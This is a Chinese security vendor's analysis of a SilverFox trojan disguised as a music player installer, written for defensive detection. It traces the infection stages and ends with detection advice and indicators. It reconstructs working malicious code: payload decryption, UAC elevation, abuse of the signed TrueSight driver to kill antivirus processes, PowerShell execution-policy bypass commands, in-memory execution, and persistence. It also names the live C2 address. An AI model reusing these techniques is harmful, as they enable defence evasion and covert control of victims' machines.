层层伪装 暗藏玄机——银狐木马借正规驱动静默接管你的电脑
-
作者:火绒安全
-
发布时间:2026-07-30
-
阅读量:1503
摘要

查杀图
1.样本身份与攻击链总览
本章给出样本的家族归属与静态属性,并把整条攻击链划分为五个阶段;1.3 节的阶段划分是后续各章的分析顺序。
1.1 威胁画像
该样本属于 SilverFox / Zenpak 家族,以音乐播放器安装包伪装,通过大体积 PE 与尾部 overlay 隐藏 Stage-2/Stage-3 载荷,并包含反自动化延迟、UAC 权限请求、BYOVD(自带易受攻击驱动,Bring Your Own Vulnerable Driver)与 DLL 侧载相关组件。
1.2 样本基础信息
表 1-1 汇总父 PE 的身份与静态属性。
表 1-1 父 PE 基础信息

父文件大小约72 MB,该体积本身即为一种伪装手段:.data 段占 58.4 MB,内含Go BuildInfo诱饵、Stage-2 shellcode、webpack source map 与 AES-ECB 加密 overlay(以 QEMB8WGP# 开头),真实载荷混在大量噪声数据里,静态分析很难直接定位。
1.3 攻击链总览与报告主线
图 1-1 给出从父 PE 入口到 thumbs!Edge RAT 上线的完整攻击链。

图 1-1 SilverFox 攻击阶段总览
该攻击链可划分为五个阶段,各阶段目标分工明确,体现出攻击链的模块化设计思路。
2.第一阶段:父 PE 加载、反分析延迟与 UAC 自提升
第一阶段始于父 PE,主要完成载荷隐藏、反时序延迟、Stage-2 内存自解密,以及进入下一阶段前的UAC自提升操作。
2.1 文件结构与载荷隐藏
父 PE 通过膨胀 .data 段与尾部 overlay 隐藏载荷;图 2-1 显示 72 MB 文件中各区域的相对位置。

图 2-1 72 MB 父 PE 的文件组成
Stage-2 shellcode 位于 .data 段内,运行时解密执行;Stage-3 加密载荷位于尾部 overlay,由 Stage-3 加载器解密后按 LK@ 标记切分释放(详见 3.1 节)。
2.2 反时序延迟门
父 PE 入口并不直接执行恶意逻辑,而是先进入一段纯计算的延迟循环:通过 CPUID/RDTSC 读取 CPU 时间戳计数器,循环执行 fldpi/frndint 浮点运算,直至累计消耗 0xb2d05e00(约 3×10⁹)个时钟周期才进入主逻辑。代码清单 1 展示 rdtsc_delay 的完整循环。
代码清单 1 父 PE RDTSC 反时序延迟门:
// 程序: 父 PE
// 函数: rdtsc_delay @ 0x1400010b2
// 作用: 通过 CPUID/RDTSC/fldpi 消耗 3×10⁹ 个时钟周期
// 说明: 恒返回 9,属于反自动化延迟而非调试器检测
unsigned __int64 rdtsc_delay(void)
{
int cpuinfo[4];
__cpuid(cpuinfo, 0);
__cpuid(cpuinfo, 1);
unsigned __int64 threshold = 0xb2d05e00;
unsigned __int64 start = __rdtsc();
unsigned __int64 now;
do {
fldpi();
frndint();
now = __rdtsc();
} while ((now - start) < threshold);
return 9;
}
该函数恒返回 9,返回值不参与任何分支判断,而自动化沙箱的行为采样窗口通常仅为数十秒,而此段纯计算延迟足以将恶意行为推迟至采样窗口之外,因此表明该函数的主要作用是通过无意义延迟对抗沙箱分析。此外,该样本中还存在另一处延迟对抗(地址为 0x1400038c0,等待约 3000 个时钟周期),其功能与上述延迟门相同。
2.3 Stage-2 解密与 API 解析
当延迟门通过后,样本进入到第二阶段。此时Shellcode 会在内存中完成自解密。解密分两步:
1. 先以 NOT/XOR/ROL 解开 16 字节 loader stub
2. 再由 stub 以初始密钥 1 逆序执行 321,039 轮 XOR/ADD 流密码,密钥流随明文字节自同步滚动。代码清单 2 给出完整算法。
代码清单 2 Stage-2 自解密
// 程序: 父 PE
// 函数: Stage-2 解密入口 @ 文件偏移 0x4e636
// 作用: 通过 NOT/XOR/ROL 解密 16 字节 loader stub,再执行 321,039 轮 XOR/ADD 流密码
// 说明: 常量 0x0F854C94、循环 0x4E60F、初始密钥 1;解密后 0x4d000-0x4e348 出现 shellcode
void decrypt_stage2(uint8_t *data)
{
for (int i = 0; i < 4; i++) {
data[0x0B + i] ^= 0xFF; // NOT
data[0x0F + i] ^= 0xFF; // NOT
}
uint32_t v = *(uint32_t *)(data + 0x13) ^ 0x0F854C94; // XOR 常量
*(uint32_t *)(data + 0x13) = v;
v = *(uint32_t *)(data + 0x17);
v = (v << 25) | (v >> 7); // ROL by 0xB9
*(uint32_t *)(data + 0x17) = v;
uint8_t key = 1;
for (uint32_t i = 0x4E60F; i > 0; i--) {
size_t offset = 0x28 + i;
uint8_t plain = data[offset] ^ key;
data[offset] = plain;
key = (key + plain) & 0xFF; // 密钥流自同步
}
}
API 解析同样采取了相关的检测对抗措施:父 PE会通过动态 API 解析器,在内存空间中动态解析所需要的导出函数地址,使用自定义算法进行解码,仅于每次调用API前执行解码操作,以此避免被静态检测。Stage-2 在还原后首先检查当前令牌的完整性级别,据此决定是否进入 UAC 自提升分支。
2.4 权限检查与 UAC 自提升
权限令牌的完整性是后续 overlay 解密及驱动加载的前提条件。Stage-2 通过调用 OpenProcessToken 与 GetTokenInformation(指定 TokenElevation)获取 TOKEN_ELEVATION_TYPE:若返回值为 TokenElevationTypeFull,表明权限已提升,则继续执行;否则,构造 SHELLEXECUTEINFOA 结构,并借助 ShellExecuteExA("runas") 弹出 UAC 对话框,请求用户授权后重启自身。完整的实现路径见代码清单 3。
代码清单 3 Stage-2 UAC 自提升路径
// 程序: Stage-2 内存载荷
// 函数: PrivilegeCheck @ 0x4d248 + UAC 路径 @ 0x4d56a-0x4d91a
// 作用: 未提升时以 ShellExecuteExA("runas") 重启自身,切换至高完整性令牌
// 说明: TokenElevationTypeFull 为已提升;否则弹出 UAC 对话框请求授权
void uac_self_elevate(void)
{
HANDLE hToken;
TOKEN_ELEVATION_TYPE elevType;
DWORD retLen;
OpenProcessToken(GetCurrentProcess(), 0x8, &hToken);
GetTokenInformation(hToken, TokenElevationType, &elevType,
sizeof(elevType), &retLen);
CloseHandle(hToken);
if (elevType == TokenElevationTypeFull) {
return; // 已提升,继续 Stage-3
}
CHAR path[MAX_PATH];
GetModuleFileNameA(NULL, path, MAX_PATH);
SHELLEXECUTEINFOA sei = {0};
sei.cbSize = sizeof(sei); // 0x70
sei.fMask = SEE_MASK_NOCLOSEPROCESS; // 0x40
sei.lpVerb = "runas";
sei.lpFile = path;
sei.nShow = SW_SHOWNORMAL;
if (ShellExecuteExA(&sei)) {
ExitProcess(0); // 原进程退出,新进程以管理员令牌运行
}
}
该提权路径依赖于用户交互授权——lpVerb 参数设置为 "runas" 会触发标准 UAC 对话框,而非静默方式的 UAC 绕过。提权成功后,原进程退出,新进程在管理员令牌下执行 Stage-3 加载器并解密 overlay,攻击链由此进入第二阶段。
3.第二阶段:Stage-3 提取、BYOVD 驱动加载与持久化
取得管理员权限后,Stage-3 加载器从 overlay 中还原出 5 个组件文件,加载 TrueSight 驱动,并同步完成持久化部署。
3.1 Overlay 块提取
Stage-3加载器解密overlay后,依据LK@<filename>标记将数据流切分为独立文件,流程见图3-1。

图 3-1 Stage-3 overlay 重构流程
提取过程为:扫描器按顺序查找LK@魔数;魔数后为经XOR 0xA7编码的文件名与块长度,可据此对每个块进行切分;块数据再通过种子为0x963239FD的滚动XOR运算还原为明文文件。9.7 MB的overlay中大部分为填充噪声,文件边界被刻意隐藏其中。本次最终共释放5个Stage-3文件,各文件功能如下:vdi_ipc.dat(VDI终止模块,第4章分析)、npwzwmc64.dll(侧加载DLL,5.4节分析)、space.ico(图标文件)、mmHjOx.exe(下载器主体)与viusctrivial.sys(TrueSight驱动,落地后重命名为C:\Windows\Temp\ranchserv.jpg)。
3.2 TrueSight 驱动加载
TrueSight 是 Adlice 公司的合法反 rootkit 驱动,样本复用其“按 PID 终止进程”的内核能力,属于典型的 BYOVD 手法。该驱动 PE 版本资源标识为 Adlice Software / Antirootkit module、版本 2.0.2,并由 CN=Adlice 签名,因此能通过 Windows 驱动签名校验被系统正常加载。图 3-2 显示其 DriverEntry 中创建设备对象与符号链接的关键调用。

图 3-2 TrueSight 驱动 DriverEntry 创建设备与符号链接
驱动加载后暴露内核设备 \Device\TrueSight(用户态路径 \\.\TrueSight)。VDI 用户态客户端打开该设备并提交 IOCTL 0x22e044,即可借助驱动的内核权限终止任意进程——这条链路的完整分析见第 4 章。
3.3 持久化与子进程启动
Stage-3 在释放组件的同时,建立了三种持久化与执行机制(详见表 3-1),以确保在原始进程退出后或者系统重启,载荷仍能由系统调度重新触发。
表 3-1 Stage-3 持久化与执行机制

注册表层面,Stage-3 向HKLM\SOFTWARE\JDBCC的data项写入运行时构造的字符串,作为病毒重新触发的数据来源。计划任务模板内嵌于 Stage-3 DLL,任务名伪装为 MicrosoftEdgeUpdateTaskUA Task-S-1-5-18(SID S-1-5-18 对应 SYSTEM 账户),任务路径固定为 \Microsoft\Windows\AppID\。模板 XML 指定 <RunLevel>HighestAvailable</RunLevel>、<Hidden>true</Hidden> 与 <Interval>PT1M</Interval>,即以最高权限运行、在任务计划程序界面中隐藏、每分钟重复触发。Stage-3 通过 CreateProcessW 调用 Register-ScheduledTask -TaskPath $taskPath -Xml $xmlContent -TaskName $taskName -Force 完成注册。PowerShell 一侧内嵌两条命令,代码清单 4 给出 CreateProcessW 启动器与命令字符串。
代码清单 4 Stage-3 PowerShell 子进程启动器
// 程序: stage3_synccreate_dll.dll(基址 0x180000000)
// 函数: FUN_180023dc0 @ 0x180023dc0
// 作用: 调用 CreateProcessW 两次启动 PowerShell 子进程,分别设置执行策略和运行脚本
// 说明: 第一处 WaitForSingleObject(..., INFINITE);第二处 WaitForSingleObject(..., 15000),超时 // TerminateProcess
void FUN_180023dc0(void)
{
// 内嵌命令 1(UTF-16LE @ 0x7A350):
// powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
CreateProcessW(NULL, cmd1, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE); // 等待执行策略变更完成
// 内嵌命令 2(UTF-16LE @ 0x7A3F0):
// powershell -ExecutionPolicy Bypass -File "\updated.ps1"
CreateProcessW(NULL, cmd2, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi2);
WaitForSingleObject(pi2.hProcess, 15000); // 15 秒超时
if (timeout) TerminateProcess(pi2.hProcess, 0);
}
第一条命令将当前用户的 PowerShell 执行策略放宽为 Unrestricted;第二条以 -ExecutionPolicy Bypass 运行 Stage-3 在运行时生成并写入磁盘的 updated.ps1(脚本内容非静态嵌入)。三种机制相互独立,共同构成不依赖原始加载链的重新触发路径:即使父进程退出,计划任务仍每分钟以 SYSTEM 权限拉起载荷,放宽后的执行策略保证后续脚本无需签名即可运行。
4.第三阶段:VDI 解码与内核态进程终止
第三阶段是样本针对系统防护措施进行破坏的环节:VDI 模块解码后枚举进程、比对 212 个安全软件映像名,命中的进程交给 TrueSight 驱动在内核态终止。
4.1 VDI 外层解码
vdi_ipc.dat 是一个三层嵌套容器,解码步骤如下:
1. 载体层:文件前部是合法的 PNG 图片(以 IEND 正常结尾),可直接通过图片查看器打开,降低静态检测命中。
2. 加密层:IEND 之后、偏移 0x213d 处为加密流,按逐字节规则 plain[i] = cipher[i] ^ ((i + 0xA3) & 0xFF) 解密。
3. 载荷层:解密结果偏移 0x3 处即合法 PE(ImageBase 0x180000000);其 .AzA 段再经 LZMA1 解压,得到 212 个目标进程名列表与执行代码。
4.2 TrueSight IOCTL 调用
VDI PE 终止进程的入口是打开 \\.\TrueSight 设备并发送 IOCTL 0x22e044,输入仅为 4 字节 PID。代码清单 5 给出关键指令序列:先用 CreateFileW 以读写权限打开设备,随后在两处 DeviceIoControl 调用点提交栈上的 PID 缓冲。
代码清单 5 VDI 用户态客户端打开 TrueSight 设备并提交 0x22e044
// 程序: vdi_ipc.dat 解密后的 VDI PE
// 函数: TrueSight_KillProcessByPid_22e044 调用链
// 作用: 打开 TrueSight 设备,将匹配 PID 作为 4 字节输入发送 IOCTL 0x22e044
// 说明: 两个 DeviceIoControl 调用点均使用 edx=0x22e044;输入缓冲区 [rsp+0x7c]
0x18002fff9 mov ebp, edx ; PID 入参
0x18003000b lea rcx, [rip + 0x2fed6] ; L"\\.\TrueSight"
0x180030020 mov dword ptr [rsp + 0x20], 3 ; OPEN_EXISTING
0x180030028 mov edx, 0xc0000000 ; GENERIC_READ | GENERIC_WRITE
0x180030033 call qword ptr [rip + 0x2607f] ; CreateFileW
0x18003003c mov qword ptr [rsp + 0x70], rax ; hTrueSight
0x1800302ea mov dword ptr [rsp + 0x7c], ebp ; 4 字节 PID 缓冲
; 调用点 1
0x1800307ce mov rcx, qword ptr [rsp + 0x70] ; hTrueSight
0x1800307e1 lea r8, [rsp + 0x7c] ; &pid
0x1800307eb mov r9d, 4 ; 输入长度
0x180030801 mov edx, 0x22e044 ; terminate-process IOCTL
0x18003080b call qword ptr [rip + 0x2589f] ; DeviceIoControl
; 调用点 2
0x180030bb2 mov r14, qword ptr [rsp + 0x70] ; hTrueSight
0x180030bc9 lea r8, [rsp + 0x7c] ; &pid
0x180030bde mov r9d, 4 ; 输入长度
0x180030be9 mov edx, 0x22e044 ; terminate-process IOCTL
0x180030bee mov rcx, r14 ; hTrueSight
0x180030bf1 call qword ptr [rip + 0x254b9] ; DeviceIoControl
4.3 进程枚举与目标匹配
VDI PE通过工具帮助库遍历进程快照,PROCESSENTRY32结构大小为0x130,以外层循环枚举进程,内层循环对212个安全软件映像名执行大小写不敏感比对;命中后取出 th32ProcessID 传入 4.2 节的终止例程。目标列表覆盖 Microsoft Defender、360、卡巴斯基、Avast 等国内外主流产品。代码清单 6 给出关键路径。
代码清单 6 VDI 进程快照枚举与目标匹配循环
// 程序: vdi_ipc.dat 解密后的 VDI PE
// 函数: 进程枚举与目标匹配 @ 0x180015311..0x1800159d9
// 作用: 外层遍历进程快照,内层遍历 212 个安全软件目标名,命中后调用 0x22e044 终止进程
// 说明: 函数经控制流平坦化与常量提取混淆;listing 保留控制流与关键数据指令,SSE/整数运算块以注释概括
0x180015311 mov dword ptr [rbp + 0x650], 0x130 ; PROCESSENTRY32.dwSize
0x18001531e call qword ptr [rip + 0x40df4] ; Process32FirstW
; 混淆块 A:外层索引计算
0x18001544a je 0x1800159de ; 跳过本次进程
0x180015580 lea r14, [rbp - 0x70] ; 目标进程名指针表
; 混淆块 B:内层边界计算
0x180015573 jge 0x1800159c3 ; 边界失败则下一进程
target_loop:
; 混淆块 C:目标索引计算
0x1800155b3 mov rdx, qword ptr [r14] ; 当前目标进程名
0x1800155b6 lea rcx, [rbp + 0x67c] ; PROCESSENTRY32.szExeFile
0x1800155bd call 0x1800486ec ; case-folded 比较,0 命中
; 混淆块 D:命中标志偏置
0x1800156e7 mov eax, dword ptr [rbp + 0x658] ; th32ProcessID
0x1800156ed mov dword ptr [rsp + 0x38], eax ; PID 暂存
; 混淆块 E:PID 参数传递
0x18001597e mov edx, dword ptr [rsp + 0x38] ; arg2 = PID
0x180015982 mov rcx, qword ptr [r14]
0x180015985 call 0x18002ffd0 ; TrueSight_KillProcessByPid_22e044
next_target:
0x18001598e inc esi ; 索引 +1
0x180015990 add r14, 8 ; 下一目标指针
0x180015994 cmp esi, 0xd4 ; 212 个目标名
0x18001599a jl target_loop ; 内层遍历全部目标
; 外层循环经 Process32NextW 继续枚举下一进程
4.4 驱动终止逻辑
图 4-1 标出 VDI PE 中两处 DeviceIoControl(..., 0x22e044, ...) 的调用位置。

图 4-1 恢复后的 VDI 中 0x22e044 调用点
驱动侧分发例程IoctlTerminateProcessByPid(0x118ec)逻辑清晰:校验输入长度不小于4字节→从METHOD_BUFFERED的SystemBuffer读取PID→以PROCESS_TERMINATE权限调用ZwOpenProcess→通过ZwTerminateProcess完成终止操作。完整反编译结果见代码清单7。
代码清单 7 TrueSight 驱动 0x22e044 内核终止逻辑
// 程序: viusctrivial_reconstructed.sys
// 函数: IoctlTerminateProcessByPid @ 0x118ec
// 作用: 校验输入长度后按 PID 终止目标进程
// 说明: 从 METHOD_BUFFERED SystemBuffer 取 4 字节 PID;ZwOpenProcess 的 DesiredAccess=1 即 PROCESS_TERMINATE
NTSTATUS IoctlTerminateProcessByPid(PIRP Irp)
{
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp); // IRP stack
ULONG inLen = stack->Parameters.DeviceIoControl.InputBufferLength;
PVOID sysBuf = Irp->AssociatedIrp.SystemBuffer; // METHOD_BUFFERED buffer
HANDLE hProcess = NULL;
NTSTATUS status;
if (inLen < 4) { // 0x118f9: 长度必须 >= 4
Irp->IoStatus.Information = 4;
return STATUS_INVALID_BUFFER_SIZE; // 0x80000005
}
ULONG pid = *(ULONG *)sysBuf; // 0x1190f: 读取目标 PID
OBJECT_ATTRIBUTES objAttr;
CLIENT_ID clientId;
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL); // 空 ObjectAttributes
clientId.UniqueProcess = (HANDLE)(ULONG_PTR)pid; // 0x11934: CLIENT_ID.UniqueProcess = PID
clientId.UniqueThread = 0; // UniqueThread=0
status = ZwOpenProcess(&hProcess, 1, &objAttr, &clientId); // 0x11961: access = PROCESS_TERMINATE
if (NT_SUCCESS(status)) {
status = ZwTerminateProcess(hProcess, 0); // 0x11977: 终止目标进程
ZwClose(hProcess);
}
Irp->IoStatus.Status = status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
在内核态中,打开进程与终止进程的操作均由持有合法签名的驱动程序执行,用户态下的 EDR/AV 进程防护机制及 API 钩子均无法介入干预。
5.第四阶段:OSS 下载与侧加载执行
第四阶段完成后续模块的获取与执行:下载器从阿里云OSS拉取缓存文件,经解码后通过白加黑侧加载入内存执行。
5.1 OSS/FOM 下载链
下载器从OSS拉取fs.jpg、f.dat与FOM-50.jpg至FOM-53.jpg共四个缓存文件,经解码后安装至随机目录C:\Program Files (x86)\<random>\,完整流程见图5-1,下载事件序列见图5-2。

图 5-1 二级载荷释放

图 5-2 OSS/FOM 下载与安装事件序列
FOM-* 缓存的编码格式为“payload 加尾部 5 字节 metadata”。其中,metadata 的前 4 字节(小端序)标识 payload 在文件中的起始偏移,第 5 字节为初始 XOR 密钥。解码时,自该偏移位置起逐字节执行运算:byte ^= key,随后更新密钥 key = (key + 1) & 0xFF,直至 metadata 前一个字节为止,由此还原出安装文件的明文内容。
5.2 XPSPLOG_2 进程内内存执行
安装完成后,随机命名的宿主EXE(VersionInfo伪装为PhilipsSpeechDriverConfiguration.exe)通过白加黑的方式侧载XPSPLOG.dll,其导出函数XPSPLOG_2的执行流程如下:
1. 检查单实例互斥体,若互斥体已存在则直接退出;
2. 使用RC4密钥NYGpuKKiU7?[0kt解密宿主EXE尾部的marker载荷(marker值为2d c4 ba ce 4f 6a fc eb);
3. 在当前进程内申请0x3000字节的RWX权限内存,写入解密后的数据并直接跳转执行,随后进入长睡眠循环驻留。
代码清单 8 XPSPLOG_2 当前进程内存执行
// 程序: XPSPLOG.dll(基址 0x10000000)
// 函数: XPSPLOG_2 @ 0x100020b0
// 作用: 解密宿主 EXE 尾标记载荷后在当前进程分配并执行
// 说明: GetCurrentProcess 返回伪句柄,VirtualAllocEx/WriteProcessMemory 目标均为自身进程,非远程注入
undefined4 XPSPLOG_2(void)
{
int mutex_ok = FUN_10001f90(); // 单实例互斥体检查
if (mutex_ok == 0) {
ExitProcess(0); // 互斥体已存在则退出
}
SetProcessShutdownParameters(1, 1); // 关机优先级
if (!SetConsoleCtrlHandler(FUN_10002190, 1)) {
SetConsoleCtrlHandler(FUN_10002190, 1); // 控制台处理程序
}
HMODULE hMsvcrt = LoadLibraryA("msvcrt.dll");
if (hMsvcrt != NULL) {
HANDLE hProcess = GetCurrentProcess(); // 当前进程伪句柄
LPVOID lpBuffer = FUN_10001d40(); // RC4 解密宿主尾部 marker 载荷
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, 0x3000,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE); // 0x3000 字节 RWX
if ((lpBaseAddress != NULL) &&
(WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, 0x3000, NULL))) {
((void (*)())lpBaseAddress)(); // 调用 RWX 缓冲区入口
do {
Sleep(0x186a0); // 100000 ms 睡眠循环
} while (true);
}
}
return 0;
}
该函数核心特征为`hProcess = GetCurrentProcess()`:内存分配、写入、调用均在同一进程空间内完成,属于进程内自加载,而非跨进程注入,因此不会触发远程线程创建、跨进程内存写入等典型注入行为的告警。解密完成后的loader将继续依据image.png尾部的metadata解码得到第二个PE,相关说明见5.3节。
5.3 PNG/DB 尾部 PE 解码
image.png与thumbs.db采用与vdi_ipc.dat一致的双段伪装方案:文件前部为合法PNG数据,尾部附加经XOR编码的PE载荷,结构见图5-3:

图 5-3 PNG隐写结构示意图
两个文件的尾部解码参数见表 5-1。解码后均为 PE32 文件:image.png 尾部还原出中间 loader 对象,thumbs.db 尾部还原则得到最终的 thumbs!Edge 远控 PE。
表 5-1 image.png / thumbs.db 尾部 PE 解码参数

5.4 npwzwmc64.dll 反分析与直接 syscall
npwzwmc64.dll 在被 mmHjOx.exe 侧载后,其 DllMain 通过反调试与Syscall绕过跟踪调试。DllMain 入口执行 swi(3)(软件中断 int 3)主动触发异常,由预注册的 VEH handler 接管,并检查硬件断点、单步标志与调试寄存器。若检测到调试器,则跳入常量数学运算的假路径并调用 FreeLibrary 卸载自身;否则进入 .obZ/.B$^ 段的真实载荷。此外,该 DLL 不引用 ntdll.dll;.obZ 与 .B$^ 段包含 430 个 0F 05(syscall)序列,VEH handler 的注册同样通过 syscall 实现。绕过ntdll.dll导出表可使依赖用户态hook的EDR无法监测到此类调用。
6.第五阶段:thumbs!Edge 远控上线与持久化
最终载荷 thumbs!Edge 负责与控制器通信。然后实现与远程服务段会话建立过程,最终实现对受控主机的长期驻留与数据回传。
6.1 固定帧协议
thumbs!Edge 与硬编码控制器 8.218.106.149:7000 之间的通信采用固定帧协议,帧结构见表 6-1。
表 6-1 thumbs!Edge 固定帧结构

传输协议采用简单加密机制,客户端通过公式((byte ^ 0xfc) + 0x31) & 0xff完成编码,接收端则通过公式((byte - 0x31) ^ 0xfc) & 0xff完成逆向解码,以此实现通信数据的加密与解密过程。完整参数详见附录B。固定帧将连接状态、命令门控与数据回传整合为同一结构,其中dispatch_flag作为进入命令分发的唯一判定入口。
6.2 C2 上线与会话控制
连接控制端后,thumbs!Edge 首先发送 0xc8 信标包以完成上线注册,随后持续发送心跳包以维持会话连接,等待控制端下发命令。信标负载约为 0x258 字节,所采集的宿主机信息包括:会话标识、本地端点、操作系统版本及构建号、计算机名与用户名、用户空闲状态(通过 GetLastInputInfo 获取)、物理内存容量以及 RDP 端口。控制器在接收到信标后,通过固定帧下发命令。当帧头字段 dispatch_flag 为 1 时,进入命令回调;命令 ID 将指令路由至对应的具体处理分支。
6.3 命令分发与功能分组
命令回调以首字节命令 ID 选择处理分支,56 条命令可按能力分为七组(图 6-1),代表性命令与操作对象见表 6-2。

图 6-1 thumbs!Edge 56 条命令功能分组
表 6-2 thumbs!Edge 命令能力部分分类

TCP中继命令0x70可建立一个独立于主会话的二级C2连接,操作者通过子命令,能够对指定IPv4地址及端口发起连接(0x01)、关闭连接(0x02)或发送数据(0x03),目标返回的数据则通过0x06帧回传。利用该命令,受感染主机可充当内网TCP转发节点,使攻击者得以访问原本无法直接抵达的内网服务。
防御破坏类命令可用于删除数据或篡改终端状态:0x72递归删除C:\ProgramData下的指定目录;0x75以SeDebugPrivilege权限终止explorer.exe进程;0x81调用RunDll32.exe执行InetCpl.cpl,ClearMyTracksByProcess 255以清除IE浏览记录;0x82至0x87分别终止Chrome、Skype、Firefox、360se6、QQBrowser和SogouExplorer进程,并递归删除上述程序对应的用户配置目录;0xe8向C:\ProgramData\Microsoft\EdgeUpdate\Log\kill.bat写入包含taskkill与netstat指令的批处理脚本,并通过WinExec执行该文件。
6.4 键盘记录
键盘记录由命令 0x77 触发,采集线程与上传线程各管一段。
采集线程以KeyLogger为互斥体名保证单实例,每10 ms通过GetAsyncKeyState轮询101个虚拟键状态,读取GetKeyState(VK_SHIFT)与GetKeyState(VK_CAPITAL)还原大小写。特殊键做可读化处理:退格记为`<BackSpace>`、回车记为`<Enter>`;前台窗口标题变化时,写入`[标题:]/[时间:]/[内容:]`上下文头,可将击键对应到具体窗口。缓冲达到约0x227字节,或遇到回车/退格,即写入`%CSIDL_0x1c%\Default.dat`(CSIDL_0x1c对应本地应用数据目录)。文件以CreateFileA(GENERIC_WRITE, FILE_SHARE_READ, OPEN_ALWAYS)打开并追加写入,未达0x3200000字节上限时seek到末尾再写入。
上传线程读取 Default.dat 全文,通过 0xd6(开始帧)与 0xd7(数据帧)经 C2 会话回传,完成后进入 Sleep(0x1472) 循环等待后续指令。
6.5 重启后持久化
thumbs!Edge自身亦包含两条用户级持久化分支:命令0x12调用FUN_1000493f(代码清单9),将自身复制至Startup目录,并注册MOVEFILE_DELAY_UNTIL_REBOOT,以便在系统重启后清除原文件;命令0x71将自身复制至C:\Program Files\Common Files\scvhost.exe,并写入注册表项HKCU\...\CurrentVersion\Run。上述两条分支均将执行入口延续至用户重新登录或系统重启之后。
代码清单 9 thumbs!Edge 启动目录复制与重启重命名持久化
// 程序: thumbs_db_tail_xor_decoded.bin(基址 0x10000000)
// 函数: FUN_1000493f @ 0x1000493f
// 作用: 将自身复制到启动目录并注册 MOVEFILE_DELAY_UNTIL_REBOOT
// 说明: CSIDL 7 对应 Startup 文件夹;CopyFileA 后调用 MoveFileExA(..., NULL, 4)
void FUN_1000493f(undefined4 *param_1)
{
CHAR currentPath[260];
CHAR startupPath[260];
CHAR destName[80];
CHAR destPath[260];
CHAR rebootPath[260];
FUN_10011610(&DAT_10053cc0, param_1, 0xcc);
memset(currentPath, 0, 0x104);
GetModuleFileNameA(NULL, currentPath, 0x104);
if (SHGetSpecialFolderPathA(NULL, startupPath, 7, 0)) { // CSIDL_STARTUP
wsprintfA(destName, "%s.exe", &DAT_10053cc0);
wsprintfA(destPath, "%s\\%s", startupPath, destName);
if (GetFileAttributesA(destPath) == 0xffffffff) {
wsprintfA(rebootPath, "%s\\%s", startupPath, destName);
Sleep(100);
CopyFileA(currentPath, rebootPath, 0); // 复制到启动目录
MoveFileExA(currentPath, NULL, 4); // MOVEFILE_DELAY_UNTIL_REBOOT
CreateDirectoryA(startupPath, NULL);
FUN_1000474d(rebootPath);
SetFileAttributesA(rebootPath, DAT_10053d88);
}
}
}
7.检测与防护建议
7.1 检测建议
检测覆盖终端与网络两个层面,重点观测文件落地、启动项、驱动设备访问及 C2/OSS 连接(表 7-1)。
表 7-1 核心监测点

单一观测点不排除存在误报可能,建议联合 EDR 事件与网络会话做 IOC 匹配;同一终端同时出现随机名侧加载组件与 8.218.106.149:7000 连接时,应升级处置优先级。
7.3 响应建议
火绒安全提醒广大用户,严格规范软件下载行为,通过软件官网或官方应用商店获取可信信息,杜绝随意安装来源不明的大体积安装包;同时提升网络安全意识,不随意放行未知程序的UAC权限请求、不盲目放宽PowerShell执行策略,避免恶意程序提权驻留。日常需保持安全防护软件实时开启,及时更新病毒库与程序版本,避免给您带来设备受控、数据泄露等严重安全隐患。

附录 A IOC 清单
文件与派生对象指纹如下。
表 A-1 文件与派生对象指纹

网络 IOC 如下。
表 A-2 网络 IOC

路径、注册表与互斥体如下。
表 A-3 路径、注册表与互斥体

附录 B 传输参数
表 B-1 thumbs!Edge 固定帧传输参数

附录 C 响应动作检查表
表 C-1 响应动作
